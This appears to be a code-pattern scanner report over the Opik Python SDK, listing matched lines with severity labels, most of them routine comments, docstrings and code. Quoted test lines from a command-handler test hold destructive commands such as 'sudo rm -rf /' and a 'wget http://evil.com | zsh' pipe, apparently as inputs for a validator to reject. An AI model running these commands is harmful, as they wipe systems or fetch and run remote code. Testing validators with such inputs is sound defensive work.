MEDIUMsdks/python/tests/testlib/fake_message_factory.py50 # Create a random start time within the last 24 hoursCOMMENT
MEDIUMsdks/python/tests/testlib/fake_message_factory.py127 # Create the trace messageCOMMENT
MEDIUMsdks/python/tests/testlib/fake_message_factory.py173 # Create a random start time within the last 24 hoursCOMMENT
MEDIUMsdks/python/tests/testlib/fake_message_factory.py245 # Create the span messageCOMMENT
MEDIUM⚡sdks/python/tests/e2e/test_failed_messages_replay.py138 # Create the trace while online so the server record already exists.COMMENT
MEDIUMsdks/python/tests/e2e/verifiers.py725 # Create a dict of actual scores for easy comparisonCOMMENT
MEDIUM⚡sdks/python/tests/e2e/test_tracing.py1465 # Create a unique metric name to avoid conflicts with other testsCOMMENT
MEDIUM⚡sdks/python/tests/e2e/test_tracing.py1469 # Create a trace with two spansCOMMENT
MEDIUMsdks/python/tests/e2e/test_tracing.py1397 # Create a unique metric name to avoid conflicts with other testsCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py409 # Create a text promptCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py428 # Create a chat promptCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py494 # Create a chat promptCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py775 # Create a playground chat prompt with the appropriate metadataCOMMENT
MEDIUMsdks/python/tests/e2e/test_prompt.py841 # Create a playground chat prompt with the appropriate metadataCOMMENT
120 more matches not shown…
Over-Commented Block576 hits · 514 pts
SeverityFileLineSnippetContext
LOW.pre-commit-config.yaml361 - id: hadolint-dockerCOMMENT
LOW.pre-commit-config.yaml381 hooks:COMMENT
LOWsdks/python/setup.py41 "click",COMMENT
LOWsdks/python/design/API_AND_DATA_FLOW.md1921# If flush() takes too long:COMMENT
LOWsdks/python/tests/llm_constants.py21"""COMMENT
LOWsdks/python/tests/llm_constants.py81# Mistral AICOMMENT
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py321COMMENT
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py1521 target_project_name="DestProject",COMMENT
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py1701COMMENT
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py721 # clear flag. apply_dataset_item_changes called twice; v2 is theCOMMENT
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py841 "tgt-dupe-1",COMMENT
LOW…/tests/unit/cli/test_migrate_dataset_version_replay.py941 }COMMENT
LOW…tests/unit/evaluation/metrics/test_prompt_injection.py481COMMENT
LOW…ython/tests/unit/evaluation/metrics/test_heuristics.py1281 "candidate,reference,expected_min,expected_max",COMMENT
LOW…ython/tests/unit/evaluation/metrics/test_heuristics.py1321 # Calculates rouge scores between targets and prediction.COMMENT
LOW…hon/tests/library_integration/bedrock/test_converse.py241 BEDROCK_MODEL_FOR_TESTS,COMMENT
LOW…tion/metrics_with_llm_judge/test_evaluation_metrics.py21# the LangchainChatModel bridge — it exercises the most prompt surfaceCOMMENT
LOW…ry_integration/metrics_with_llm_judge/requirements.txt1openaiCOMMENT
LOW…integration/metrics_with_llm_judge/agentic/conftest.py21import pytestCOMMENT
LOW…integration/metrics_with_llm_judge/agentic/conftest.py41# model string as the native row, but routed through the LiteLLMCOMMENT
LOWsdks/python/src/opik/json_helpers.py21try:COMMENT
LOWsdks/python/src/opik/llm_usage/opik_usage.py121 candidates_token_count = provider_usage.candidates_token_count or 0COMMENT
LOWsdks/python/src/opik/api_key/opik_api_key.py1# -*- coding: utf-8 -*-COMMENT
LOWsdks/python/src/opik/api_key/__init__.py1# -*- coding: utf-8 -*-COMMENT
LOWsdks/python/src/opik/api_key/base64_helper.py1# -*- coding: utf-8 -*-COMMENT
LOW…ks/python/src/opik/message_processing/message_queue.py41 # grew — otherwise the displaced message's task carries over.COMMENT
LOWsdks/python/src/opik/cli/configure.py601 mcp_redirected=progress.redirect_to_mcp,COMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py501 # Migrate path forwards fidelity fields (evaluation_method, tags,COMMENT
LOWsdks/python/src/opik/cli/imports/experiment.py621 # Create experiment item with mapped IDs. Only the four FKCOMMENT
LOWsdks/python/src/opik/cli/imports/utils.py461# 1. Pass the fields directly to client.trace(), client.span(), andCOMMENT
LOWsdks/python/src/opik/cli/exports/__init__.py81 ctx.obj["project_name"] = projectCOMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/planner.py41# parameter.COMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/planner.py341COMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py81# ``datasets/_progress.py`` for the single source of truth. Re-exportedCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py141# Per-request page size for the cascade's bulk trace/span reads. The SDKCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py501 # multiple assertion results across items, though the typical 1:1COMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py921COMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py941 # outer SQL clamps ``project_id = :project_id`` -- so the filter isCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py1101 # so no additional source-side fetch. Comments are READ_ONLY on theCOMMENT
LOW…ks/python/src/opik/cli/migrate/datasets/experiments.py1521 # Narrow the time window to just THIS project's traces -- shrinksCOMMENT
LOW…python/src/opik/cli/migrate/datasets/version_replay.py421 # execution_policy, user version tags, metadata), apply them as aCOMMENT
LOW…python/src/opik/cli/migrate/datasets/version_replay.py901 )COMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/_progress.py21# item (version, optimization, experiment). ``completed`` is the countCOMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/executor.py81 client: opik.Opik,COMMENT
LOWsdks/python/src/opik/cli/migrate/datasets/executor.py481 )COMMENT
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py21LOGGER = logging.getLogger(__name__)COMMENT
LOW…ython/src/opik/integrations/crewai/crewai_decorator.py41 # "verbose",COMMENT
LOW…/python/src/opik/integrations/langchain/opik_tracer.py101 # LangGraph node found an empty context, opened its own root trace, and silentlyCOMMENT
LOWsdks/python/src/opik/integrations/adk/opik_tracer.py361 # Recorded early so the finally can clean up TTFT on any exit path.COMMENT
LOWsdks/python/src/opik/integrations/adk/opik_tracer.py381 if current_span is None:COMMENT
LOW…/python/src/opik/integrations/adk/pending_llm_spans.py1from typing import Any, Optional, TupleCOMMENT
LOW…/python/src/opik/integrations/adk/pending_llm_spans.py21#COMMENT
LOW…s/adk/patchers/adk_otel_tracer/opik_adk_otel_tracer.py201 finally:COMMENT
LOWsdks/python/src/opik/evaluation/evaluator.py741COMMENT
LOW…rc/opik/evaluation/suite_evaluators/agentic/context.py141 self.emulator.parent_span_ids_for_trace(trace_id).get(span.id)COMMENT
LOW…rc/opik/evaluation/suite_evaluators/agentic/context.py161# an assertion of the form "the agent processed a payload containingCOMMENT
LOW…evaluators/agentic/compression/span_tree_serializer.py21# `len(text) <= limit`, so `sys.maxsize` falls through unchanged withoutCOMMENT
LOWsdks/python/src/opik/evaluation/metrics/ragas_metric.py101 # Solution: Disable context modification (opik_context_read_only_mode=True).COMMENT
LOW…rc/opik/evaluation/models/anthropic/message_adapter.py21# see `LiteLLMChatModel._remove_unnecessary_not_supported_params`). TheCOMMENT
LOW…c/opik/evaluation/models/litellm/litellm_chat_model.py201 )COMMENT
516 more matches not shown…
Modern AI Meta-Vocabulary173 hits · 508 pts
SeverityFileLineSnippetContext
MEDIUM⚡readme_JA.md224# 任意のプロファイルで guardrails を有効化COMMENT
MEDIUM⚡readme_JA.md225./opik.sh --guardrails # Opik スイート全体と guardrailsCODE
MEDIUM⚡readme_JA.md226./opik.sh --backend --guardrails # インフラ + バックエンドと guardrailsCODE
MEDIUMreadme_JA.md314| Guardrails | Guardrails AI の検証のトレースを記録 | [ドキュメント](https://www.comet.com/docs/opik/integrations/guardrails-ai?utm_sourcCODE
MEDIUM⚡.pre-commit-config.yaml188 # Guardrails backend (apps/opik-guardrails-backend)COMMENT
MEDIUMREADME.md224# Enable guardrails with any profileCOMMENT
MEDIUMREADME.md314| Guardrails | Log traces for Guardrails AI validations | [Documentation](https://www.comet.coCODE
MEDIUMreadme_CN.md226# Enable guardrails with any profileCOMMENT
MEDIUMreadme_CN.md315| Guardrails | 记录 Guardrails AI 校验的追踪 | [文档](https://www.comet.com/docs/opik/integrations/guarCODE
MEDIUMreadme_ES.md225# Enable guardrails with any profileCOMMENT
MEDIUMreadme_ES.md314| Guardrails | Registra trazas para validaciones de Guardrails AI | [Documentación](https://wwCODE
MEDIUMreadme_FR.md226# Enable guardrails with any profileCOMMENT
MEDIUMreadme_FR.md315| Guardrails | Journalise les traces des validations Guardrails AI | [Documentation](https://www.comet.comCODE
MEDIUMreadme_DE.md226# Enable guardrails with any profileCOMMENT
MEDIUMreadme_DE.md315| Guardrails | Traces für Guardrails-AI-Validierungen protokollieren | [Dokumentation](https:/CODE
MEDIUMopik.sh19# Single source of truth for the guardrails mode (gpu vs cpu) -> compose profile,COMMENT
MEDIUMopik.sh49 # Add guardrails containers if enabledCOMMENT
MEDIUMopik.sh252 # Always add guardrails profile if enabledCOMMENT
MEDIUMopik.sh480 # Width fits the longest container name (guardrails-backend-cpu-1, 24 chars). Strip the composeCOMMENT
MEDIUMopik.sh721# Default: no guardrailsCOMMENT
MEDIUMopik.sh723# Guardrails device mode when enabled: gpu (default, via --guardrails) or cpu (--guardrails-cpu)COMMENT
MEDIUMopik.sh785# Check for guardrails flags. --guardrails-cpu must be handled before --guardrailsCOMMENT
MEDIUM…s/python/tests/unit/guardrails/test_rest_api_client.py32 httpx_client=httpx_client, host_url="http://guardrails/"CODE
MEDIUM…s/python/tests/unit/guardrails/test_rest_api_client.py38 # The guardrails backend cannot read a gzipped body.COMMENT
MEDIUM…s/python/tests/unit/guardrails/test_custom_training.py34 guardrails_backend_host="http://guardrails/",CODE
MEDIUM⚡…s/python/tests/unit/evaluation/test_error_tolerance.py376 # Same marker the rest of the engine uses; the agentic judge prunes the trace by it.COMMENT
MEDIUM…e_evaluators/agentic/test_suite_llm_judge_branching.py60 # agentic. No explicit `scoring_tool_strategy=` — exercising theCOMMENT
MEDIUM…t/evaluation/metrics/llm_judges/test_seed_parameter.py179 # GEval calls generate_chat_completion multiple times (chain of thought + evaluation)COMMENT
MEDIUM…llm_judges/test_context_metric_sut_output_isolation.py4#8195 covered for hallucination and g_eval only. The values a run is scored onSTRING
MEDIUM…ests/unit/evaluation/models/test_litellm_chat_model.py437 # Per-call temperature=0 (the agentic judge loop's hardcoded pin)COMMENT
MEDIUM…ts/unit/evaluation/models/test_anthropic_chat_model.py555 # End-to-end: a typical agentic-loop history with oneCOMMENT
MEDIUM…/tests/library_integration/guardrails/requirements.txt1setuptools # required by guardrails hubCODE
MEDIUM…ests/library_integration/guardrails/test_guardrails.py36 ) # Both the guardrails passCODE
MEDIUM⚡…ary_integration/langchain/test_langgraph_supervisor.py114 # The supervisor/multi-agent graph produces three top-level spans:COMMENT
MEDIUM…integration/metrics_with_llm_judge/agentic/conftest.py37# the agentic path Haiku sometimes wrapped the verdict in a ```jsonCOMMENT
MEDIUM…n/metrics_with_llm_judge/agentic/test_agentic_judge.py98# agentic and the only ones the mocked unit suite cannot stand in for.COMMENT
MEDIUM…n/metrics_with_llm_judge/agentic/test_agentic_judge.py252 # Direct evidence of the agentic loop engaged. We don't pin theCOMMENT
MEDIUMsdks/python/tests/e2e/test_guardrails.py61 # Check trace guardrails validationsCOMMENT
MEDIUM…ks/python/src/opik/llm_usage/openai_responses_usage.py84 # and context window limits.COMMENT
MEDIUMsdks/python/src/opik/guardrails/stored_policies.py101 # Not skipped: guardrails fail closed, and a check that cannot run must not silentlyCOMMENT
MEDIUMsdks/python/src/opik/guardrails/rest_api_client.py18 # The guardrails backend does not decompress gzipped request bodies.COMMENT
MEDIUMsdks/python/src/opik/guardrails/guards/guard.py11 # guardrails backend (False).COMMENT
MEDIUM…/python/src/opik/integrations/langchain/opik_tracer.py84# Constant for LangGraph ParentCommand (multi-agent control flow routing)COMMENT
MEDIUM…/python/src/opik/integrations/langchain/opik_tracer.py252 # ParentCommand is not an error - it's multi-agent routing in LangGraphCOMMENT
MEDIUM…/python/src/opik/integrations/langchain/opik_tracer.py751 # ParentCommand is not an error - it's multi-agent routing in LangGraphCOMMENT
MEDIUM…src/opik/integrations/ollama/chat_chunks_aggregator.py35 # Ollama streams a reasoning model's chain of thought in its ownCOMMENT
MEDIUMsdks/python/src/opik/evaluation/evaluator.py745 # access to the full trace tree via the agentic tool loop. The emulatorCOMMENT
MEDIUMsdks/python/src/opik/evaluation/evaluator.py765 # exit deactivating it and starving the others' agentic judges).COMMENT
MEDIUM…rc/opik/evaluation/suite_evaluators/agentic/context.py151# of its own scoring/metrics plumbing. The agentic judge has no businessCOMMENT
MEDIUM…rc/opik/evaluation/suite_evaluators/agentic/context.py261# direction is engine → agentic, not the reverse).COMMENT
MEDIUM…c/opik/evaluation/suite_evaluators/llm_judge/metric.py158 >>> # Force the agentic tool loop whenever a trace context is supplied.STRING
MEDIUM…c/opik/evaluation/suite_evaluators/llm_judge/metric.py341 # Import lazily so the agentic dependencies (tool registry, loop,COMMENT
MEDIUM…uation/suite_evaluators/llm_judge/strategy_selector.py58# Default headroom: reserve half the context window for the model's ownCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/message_adapter.py33# `suite_evaluators/agentic/loop.py` for why this hasn't surfaced viaCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/message_adapter.py34# the agentic judge (the loop pins `temperature=0`, which forces bothCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/message_adapter.py255# agentic loop emits OpenAI-style values because that's the dominantCOMMENT
MEDIUM…rc/opik/evaluation/models/anthropic/response_parser.py66 # as a tool call so the agentic loop can execute it. OtherwiseCOMMENT
MEDIUM…ik/evaluation/models/anthropic/anthropic_chat_model.py233 # Anthropic object form — the agentic loop emits the OpenAICOMMENT
MEDIUM…c/opik/evaluation/models/litellm/litellm_chat_model.py194 # callers (e.g. the agentic judge) that pass `seed` forCOMMENT
MEDIUMsdks/python/src/opik/evaluation/threads/evaluator.py122 >>> # Evaluating a RAG agent: ConversationalCoherenceMetric additionally checksSTRING
113 more matches not shown…
Docstring Block Structure84 hits · 420 pts
SeverityFileLineSnippetContext
HIGHsdks/python/src/opik/opik_context.py226 Provides a context manager to handle trace data within an execution context. This function sets up trace data STRING
HIGHsdks/python/src/opik/guardrails/custom_training.py24 Train a custom binary guardrail on the guardrails server and make it available to the :class:`~opik.guardrails.STRING
HIGHsdks/python/src/opik/guardrails/guardrail.py90 Build a Guardrail from guardrail policies stored in your Opik workspace. A policy is a named group of STRING
HIGHsdks/python/src/opik/guardrails/guardrail.py157 Validate text against all configured guardrails. Args: text: Text to validate RetSTRING
HIGHsdks/python/src/opik/decorator/base_track_decorator.py741 Handles the creation and registration of a new start span and trace while respecting the tracing context based STRING
HIGH…age_processing/emulation/emulator_message_processor.py454 Creates a trace model with the specified attributes. The method is abstract and must be implemented in STRING
HIGH…age_processing/emulation/emulator_message_processor.py512 Abstract method to create a span model representing a span of a trace. This method is intended to facilSTRING
HIGH…age_processing/emulation/emulator_message_processor.py555 Creates a feedback score model with the specified parameters. The method is abstract and must be impleSTRING
HIGH…ython/src/opik/message_processing/replay/db_manager.py720 Converts a database message object to a corresponding application message object. This function maps a databasSTRING
HIGH…rock/invoke_model/chunks_aggregator/format_detector.py107 Get aggregator for the specified format. Args: format_name: Name of the format Returns: CSTRING
HIGHsdks/python/src/opik/anonymizer/factory.py19Create an anonymizer with the specified rules. Args: anonymizer_rules: Anonymizer rules specification in vaSTRING
HIGHsdks/python/src/opik/evaluation/evaluator.py1521 Resume an interrupted ``evaluate()`` run. Reads the resume state embedded in the existing experiment (dataset STRING
HIGH…on/src/opik/evaluation/metrics/heuristics/sentiment.py68 Analyze the sentiment of the provided text. Args: output: The text to analyze for sentimenSTRING
HIGH…c/opik/evaluation/metrics/heuristics/_vader_lexicon.py50Build a VADER analyzer, fetching its lexicon if needed. ``SentimentIntensityAnalyzer()`` reads the ``vader_lexicon`STRING
HIGH…/python/src/opik/evaluation/metrics/heuristics/bleu.py150 Calculate sentence-level BLEU for one candidate vs. one or more references. Args: output: STRING
HIGH…/python/src/opik/evaluation/metrics/heuristics/bleu.py262 Calculate corpus-level BLEU for multiple candidates. Args: output: A list of candidate strSTRING
HIGH…python/src/opik/evaluation/metrics/heuristics/rouge.py77 Compute the ROUGE score based on the given rouge_type between the output and reference strings. Args: STRING
HIGH…hon/src/opik/evaluation/metrics/heuristics/contains.py75 Calculate the score based on whether the reference string is contained in the output string. Args: STRING
HIGH…pik/evaluation/metrics/heuristics/levenshtein_ratio.py51 Calculate the Levenshtein ratio between the output and reference strings. Args: output: ThSTRING
HIGH…/src/opik/evaluation/metrics/heuristics/regex_match.py50 Calculate the score based on whether the output string matches the regex pattern. Args: ouSTRING
HIGH…trics/llm_judges/structure_output_compliance/parser.py10 Parses the LLM output for the StructuredOutputCompliance metric. Expected LLM output format: { STRING
HIGH…on/src/opik/evaluation/metrics/conversation/helpers.py52 Extracts a list of conversation windows based on turns using a sliding window approach. This function divides aSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py195 Provides a context manager for getting and managing the response from a model provider. Ensures that errors durSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py231 Asynchronous context manager for getting a response from a model provider. This function asynchronously interaSTRING
HIGHsdks/python/src/opik/evaluation/models/base_model.py268 Checks the output of a model and verifies that it is not None. This function ensures that the output returned STRING
HIGH…opik/evaluation/models/langchain/message_converters.py21Convert OpenAI-style chat messages to LangChain's primitives. Args: messages: Iterable of message dictionarSTRING
HIGHsdks/python/src/opik/evaluation/threads/evaluator.py27Evaluate conversation threads using specified metrics. This function evaluates conversation threads from a project STRING
HIGH…n/src/opik/evaluation/samplers/base_dataset_sampler.py26 Samples and filters a list of dataset items according to a specific implementation. Args: STRING
HIGHsdks/python/src/opik/api_objects/rest_helpers.py35 Execute a REST API call with automatic retry on rate limit (429) errors. This function handles HTTP 429 rate lSTRING
HIGHsdks/python/src/opik/api_objects/rest_helpers.py91 Resolve a project name to its project ID. Args: rest_client: The REST API client instance. proSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py1008Search for threads in a given project based on specific criteria. Args: project_name: The name of tSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py1623 Get an existing test suite by name. Retrieves the dataset and its version-level assertions and executiSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2195 Search for traces in the given project. Optionally, you can wait for at least a certain number of traces STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2313 Search for spans in the given trace. This allows you to search spans based on the span input, output, mSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2594 Creates a new text prompt with the given name and template. If a text prompt with the same name alreadySTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2646 Creates a new chat prompt with the given name and message templates. If a chat prompt with the same namSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2701 Retrieve a text prompt by name, optionally targeting a specific ``version``. This method only returns STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2753 Retrieve a chat prompt by name, optionally targeting a specific ``version``. This method only returns STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2873 Retrieve all text prompt versions history for a given prompt name. Parameters: name: The nSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py2975 Retrieve all chat prompt versions history for a given prompt name. Parameters: name: The nSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py3099 Retrieve the latest prompt versions (both string and chat prompts) for the given search parameters. PaSTRING
HIGHsdks/python/src/opik/api_objects/opik_client.py3365 Get a traces annotation queue by its ID. Args: queue_id: The ID of the annotation queue. STRING
HIGHsdks/python/src/opik/api_objects/opik_client.py3384 Get a threads annotation queue by its ID. Args: queue_id: The ID of the annotation queue. STRING
HIGHsdks/python/src/opik/api_objects/trace/trace_client.py288 Update an existing trace with new information. This function sends an UpdateTraceMessage to the provided messagSTRING
HIGHsdks/python/src/opik/api_objects/dataset/validators.py38 Resolve assertions shorthand and/or evaluators into a list of LLMJudge instances. Args: assertions: LiSTRING
HIGHsdks/python/src/opik/api_objects/dataset/dataset.py136 Retrieve dataset items as a list of dictionaries. Args: nb_samples: Maximum number of itemSTRING
HIGHsdks/python/src/opik/api_objects/dataset/dataset.py202 Read dataset items in chunks, fetching the chunks concurrently. The chunked counterpart to :meth:`get_STRING
HIGHsdks/python/src/opik/api_objects/dataset/dataset.py1514 Get a read-only view of a specific dataset version. The returned DatasetVersion object allows reading STRING
HIGH…/src/opik/api_objects/dataset/test_suite/test_suite.py345 Get a read-only view of a specific version. Args: version_name: The version name (e.g., 'vSTRING
HIGH…c/opik/api_objects/annotation_queue/rest_operations.py168 Fetch a trace annotation queue by its ID. Args: rest_client: The REST API client. queue_id: ThSTRING
HIGH…c/opik/api_objects/annotation_queue/rest_operations.py194 Fetch a thread annotation queue by its ID. Args: rest_client: The REST API client. queue_id: TSTRING
HIGHsdks/python/src/opik/api_objects/prompt/client.py77 Creates the prompt detail for the given prompt name and template. Parameters: - name: The nameSTRING
HIGHsdks/python/src/opik/api_objects/prompt/client.py355 Retrieve all the prompt details for a given prompt name. Parameters: name: The name of theSTRING
HIGH…/python/src/opik/api_objects/threads/threads_client.py44Search for threads in a given project based on specific criteria. This method retrieves a list of TraceThread oSTRING
HIGH…/src/opik/api_objects/experiment/experiments_client.py27 Find experiment items associated with a specific dataset among a list of experiments. This method querSTRING
HIGH…s/python/src/opik/api_objects/experiment/experiment.py379 Upload experiment items together with their traces, spans and feedback scores. Unlike :meth:`insert`, STRING
HIGH…s/python/src/opik/api_objects/experiment/experiment.py692 Retrieves and returns a list of experiment items for this experiment. Args: max_results: MSTRING
HIGHsdks/python/src/opik/configurator/opik_rest_helpers.py91 Verifies whether the provided workspace name exists in the user's cloud Opik account. Args: workspace STRING
HIGH…r_algorithms/metaprompt_context7_remote_mcp_example.py71Compute Levenshtein similarity between reference_answer and model output. Args: dataset_item: Dataset row dSTRING
HIGH…ks/opik_optimizer/src/opik_optimizer/base_optimizer.py267Get a prompt template, optionally formatted with kwargs. Args: key: The prompt key to retrieve STRING
24 more matches not shown…
Cross-Language Confusion112 hits · 380 pts
SeverityFileLineSnippetContext
HIGHsdks/python/tests/unit/test_json_helpers.py203 assert accelerated_bytes == b'{"v":null}'CODE
HIGH⚡sdks/python/tests/unit/runner/test_bridge_handlers.py195 "echo hello && sudo rm -rf /",CODE
HIGH⚡sdks/python/tests/unit/runner/test_bridge_handlers.py200 "pip install foo && sudo chmod 777 /",CODE
HIGH⚡sdks/python/tests/unit/runner/test_bridge_handlers.py203 "echo clean && dd if=/dev/urandom of=disk.img",CODE
HIGH⚡sdks/python/tests/unit/runner/test_bridge_handlers.py205 "echo ok && rm -r -f /",CODE
HIGH⚡sdks/python/tests/unit/runner/test_bridge_handlers.py207 "echo x && wget http://evil.com | zsh",CODE
HIGH⚡sdks/python/tests/unit/runner/test_bridge_handlers.py208 "echo safe && nohup python app.py &",CODE
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py858 # ``apply_dataset_item_changes(base_version=null, override=true)``COMMENT
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py916 # Two apply_dataset_item_changes calls: v1 (base_version=null,COMMENT
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py1346 # base_version=null, override=true)`` carrying the suite config —COMMENT
HIGH…/tests/unit/cli/test_migrate_dataset_version_replay.py1248 or ``apply_dataset_item_changes(base_version=null, override=true)`` (whenSTRING
HIGH…s/python/tests/unit/evaluation/metrics/test_is_json.py16 '{"name": "Alice", "age": 30, "is_admin": true, "skills": ["python", "c++"], "nested": {"a": 1, "b": null}}',CODE
HIGH…s/python/tests/unit/evaluation/metrics/test_is_json.py22 '[true, false, null, 100, 3.14, "text", {}, [1, 2]]',CODE
HIGH⚡…/evaluation/metrics/llm_judges/test_parsing_helpers.py17 '{"verdict":"yes","reason":null}'CODE
HIGH⚡…/evaluation/metrics/llm_judges/test_parsing_helpers.py21 content = 'Here you go: {"verdict":"yes","reason":null} done.'CODE
HIGH⚡…/evaluation/metrics/llm_judges/test_parsing_helpers.py32 content = '{"verdict":"yes","reason":null}\n{"verdict":"yes","reason":null}'CODE
HIGH…ts/unit/evaluation/models/test_anthropic_chat_model.py504 a malformed model output (top-level array, scalar, null, orSTRING
HIGHsdks/python/src/opik/runner/bridge_auth.py10 """HMAC-SHA256(bridge_key, type || args_json) → base64."""STRING
HIGH…ython/src/opik/message_processing/replay/db_manager.py5to re-inject messages). The manager tracks three states — undefined, initialized, closed,STRING
HIGHsdks/python/src/opik/cli/migrate/checkpoint.py292 raise ValueError(f"{field_name} must be a string or null, got {value!r}")CODE
HIGHsdks/python/src/opik/cli/migrate/_resolver.py126 null) or when the project lookup raises a recoverable ``ApiError``STRING
HIGH…python/src/opik/cli/migrate/datasets/version_replay.py507 """Create v1 via ``apply_dataset_item_changes(base_version=null, override=true)``.STRING
HIGHsdks/python/src/opik/cli/migrate/datasets/executor.py210 ``apply_dataset_item_changes(base_version=null, override=true)``) soSTRING
HIGH…ation/suite_evaluators/agentic/tools/path_evaluator.py450 f"Expected literal (string, integer, true/false/null) at position "STRING
HIGH…luation/suite_evaluators/agentic/compression/tokens.py3Matches the backend (`String.length() / 4`) so the same trace producesSTRING
HIGH…luation/suite_evaluators/agentic/compression/tokens.py9Unicode code points, Java `String.length()` counts UTF-16 code units.STRING
HIGH…rc/opik/evaluation/models/anthropic/message_adapter.py69 - Anything else (top-level list/scalar/null, malformed JSON,STRING
HIGHsdks/python/src/opik/api_objects/dataset/identifiers.py28 as null, while a `None` passed to `delete` identifies nothing and is an error. AskingSTRING
HIGH…hon/src/opik/api_objects/experiment/bulk_converters.py96 # output is null, so the item is stored but invisible to the user.COMMENT
HIGH…hon/src/opik/api_objects/experiment/experiment_item.py42 entries of the wrong one -- ``[null]`` is the shape to expect, since the backendSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py512 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py885 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py888 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py2245 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py2642 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/client.py2645 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py622 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py1084 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py1087 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py2854 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py3316 If null, project_id must be providedSTRING
HIGHsdks/python/src/opik/rest_api/traces/raw_client.py3319 If null, project_name must be providedSTRING
HIGHsdks/python/src/opik/rest_api/types/span_write.py18 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/guardrail_write.py17 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/trace.py23 If null, the default project is usedSTRING
HIGH…src/opik/rest_api/types/experiment_item_bulk_upload.py20 Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit trace). If nuSTRING
HIGH…est_api/types/trace_experiment_item_bulk_write_view.py21 If null, the default project is usedSTRING
HIGH…src/opik/rest_api/types/assertion_result_batch_item.py15 If null, the default project is usedSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py13 If null, dataset_id must be providedSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py18 If null, dataset_name must be providedSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py34 Optional batch group ID to group multiple batches into a single dataset version. If null, mutates the latest versionSTRING
HIGH…s/python/src/opik/rest_api/types/dataset_item_batch.py39 Optional. Dataset to read carry-forward rows from when materializing the new version. Required together with copy_frSTRING
HIGH…pik/rest_api/types/feedback_score_batch_item_thread.py13 If null, the default project is usedSTRING
HIGH…n/src/opik/rest_api/types/feedback_score_batch_item.py13 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/guardrail.py18 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/span_public.py20 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/span.py20 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/types/trace_write.py17 If null, the default project is usedSTRING
HIGH…ik/rest_api/types/complete_multipart_upload_request.py15 If null, the default project is usedSTRING
HIGHsdks/python/src/opik/rest_api/spans/client.py380 If null, the default project is usedSTRING
52 more matches not shown…
Modern Structural Boilerplate338 hits · 338 pts
SeverityFileLineSnippetContext
LOW⚡…tests/unit/runner/bridge_handlers/test_search_files.py40 def _setup_files(self, tmp_path: Path) -> None:CODE
LOW…ython/tests/unit/evaluation/metrics/test_heuristics.py1468 def set_lang(self, lang: str) -> None:CODE
LOW…ython/tests/unit/evaluation/metrics/test_heuristics.py1578 def set_lang(self, lang: str) -> None:CODE
LOWsdks/python/tests/testlib/__init__.py14__all__ = [CODE
LOWsdks/python/src/_opik/__init__.py14__all__ = ["BaseMetric", "ScoreResult"]CODE
LOWsdks/python/src/opik/environment_details.py47def set_run_context(**values: str) -> None:CODE
LOWsdks/python/src/opik/config.py597def update_session_config(key: str, value: Any) -> None:CODE
LOWsdks/python/src/opik/opik_context.py275__all__ = [CODE
